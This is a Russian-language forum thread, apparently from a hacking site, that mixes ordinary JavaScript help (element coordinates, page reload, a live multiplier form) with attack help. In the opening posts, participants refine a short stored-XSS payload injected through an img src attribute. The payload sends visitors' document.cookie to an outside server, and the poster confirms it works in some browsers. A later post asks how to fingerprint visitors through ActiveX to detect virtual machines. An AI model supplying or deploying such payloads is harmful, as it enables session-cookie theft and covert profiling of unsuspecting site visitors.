astrologer, повторю вопрос: есть такой код <img src="" id="q"/> <script>q.src="mysite.php?a="+document.cookie</script> Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке (q.src) а IE и Chrome загружает картинку влет, ну и конечно куки передаются теперь по теме ? а програмку на php привел, потомучто предложили её изменить, ну чтобы всем видно было что тама все ок и вопще до нее дело даже не доходит
q - это номер(id) элемента. а q.src это обращение к объекту q. Как минимум - <script language="JavaScript"> q = document.getElementById("q"); q.src="mysite.php?a="+document.cookie;</script> language на всякий случай
спасибо ntldr, но к сожалению слишком длинный скрипт получается, ограничение мешает. может тогда подскажите как лучше сделать ? вот есть такой код на странице: PHP: <img src="ССЫЛКА" alt="" /> вместо ссылки можно подставить что угодно, но не более 100 символов сейчас я подставляю: "id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt=" // 87 символов // получается <img src=""id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt="" alt="" /> как я уже сказал, работает, но не во всех броузерах может можно по другому как нибудь сделать
Code: "><script>(new Image).src='//example.com?'+document.cookie</script><br k=" Code: "><script src="//example.com/script.js"></script><br k="
astrologer, первый код не работает, не знаю почему, а со вторым кодом все ок только в опере не загружается, думаю может запрещена такая подгрузка сриптов или не правильный код в js: document.getElementById('q').src='http://xx.x.xx.xx/f/z.php?a='+document.cookie+'&e='+Math.random(); но мне важнее чтобы в файрфоксе работало. спасибо всем
использую mootools для определения координат элемента. Code: <script> window.addEvent('domready',function(){ position = $('footer').getPosition(); alert(position); }) </script> Но почему то выводит "[object Object]", что это значит? Может из-за того, что $('footer') - это div?
может потому, что position это обьект, а обращаться в таком случае надо к его свойствам. имхо (с mootools мало работал, уважаю jquery)
Code: <script> window.addEvent('domready',function(){ position = $('footer').getPosition(); alert(position.x + "|||" + position.y); }) </script>
https://forum.antichat.ru/thread91504.html - вот лучше помогите с темой. Интересует например можно ли посредством стандартных активикс (бещ добавления своих, юзаниях сплойтов итд), js, flash и php пропалить чела за варей например. И какие параетры системы вообще можно пропалить через них?
podkashey, можно использовать ActiveX, чтобы узнать много всякой инфы, например, http://www.devarticles.com/c/a/JavaScript/How-to-Use-JavaScript-for-Hardware-Knowledge/ - выдаст инфу о девайсах на компьютере. http://searchdomino.techtarget.com/tip/0,289483,sid4_gci1212258,00.html - получить имя пользователя компьютера. Объектов ActiveX достаточно много, это уже нужно смотреть, что в каких из них может отличаться в виртуалке и на реальной машине. Работа с файловой системой и реестром с помощью ActiveX неплохо описана в книге "Самоучитель JavaScript" Вадима Дунаева. Но работать такое будет только в ИЕ, и то, только если пользователь разрешит ActiveX (по умолчанию он не разрешён). Ну а всё остальное уже ответили в теме)
Как можно сделать чтобы яваскрипт страницу каждые там 5 секунд обновлял страницу? жлательно апсолютный пример...
Code: <script type="text/javascript"> setTimeout(function() { document.location.reload(); }, 5000); </script>
Мне нужно написать JS но в JS я вообще не как.... Помогите если не злажно. Будет 2 формы допустим "Кол-во" и "Итог" Когда вводишь в "Кол-во" число оно умнажается на 0,2 и выводится ответ в поле "Итог" И всё нужно в реальном времени, без кнопок всяких.
PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/xhtml1-loose.dtd"> <html> <head> <title>Jaba</title> <script type="text/javascript"> function makeRes(n) { var cnt=document.getElementById("count"); var result=document.getElementById("result"); if(cnt.value!="") { result.value=n*cnt.value; } } </script> </head> <body> <input type="text" id="count" value="" onkeydown="makeRes(0.2)" /> <input type="text" id="result" value="" /> </body> </html> держи, делать надо таким образом, только порядок соблюдать, необходимые проверки сделай сам
2 Byrger: PHP: <HTML> <HEAD> <TITLE>Пример вычисления</TITLE> <SCRIPT LANGUAGE="JavaScript"> ID = window.setTimeout("Update();", 1000); function Update() { var cnt=document.getElementById("input1"); if(cnt.value!="") { result=0.2*cnt.value; document.form1.input2.value = result; } else document.form1.input2.value = 0; ID = window.setTimeout("Update();", 1000); } </SCRIPT> </HEAD> <BODY> <H1>Пример вычисления</H1> <HR> Значение будет умножено на 0.2 <HR> <FORM NAME="form1"> <INPUT TYPE="text" id="input1" NAME="input1" SIZE="10" value="0"><INPUT TYPE="text" NAME="input2" SIZE="10"><BR> </FORM> <HR> </BODY> </HTML>
А как результат округлить до 2 нулей И отрицательные чтоб нельзя було вводить. И если в поле введено "0" то результат ="-"
PHP: <HTML> <HEAD> <TITLE>Пример вычисления</TITLE> <SCRIPT LANGUAGE="JavaScript"> ID = window.setTimeout("Update();", 1000); function Update() { var cnt=document.getElementById("input1"); if (cnt.value<0) { alert('Только положительные числа!'); document.form1.input1.value = 0; } if(cnt.value!="") { result=0.2*cnt.value; result = result.toFixed(2); document.form1.input2.value = result; } else document.form1.input2.value = "-"; if (cnt.value==0) { result="-"; document.form1.input2.value = result; } ID = window.setTimeout("Update();", 1000); } </SCRIPT> </HEAD> <BODY> <H1>Пример вычисления</H1> <HR> Значение будет умножено на 0.2 <HR> <FORM NAME="form1"> <INPUT TYPE="text" id="input1" NAME="input1" SIZE="10" value=""><INPUT TYPE="text" NAME="input2" SIZE="10"><BR> </FORM> <HR> </BODY> </HTML>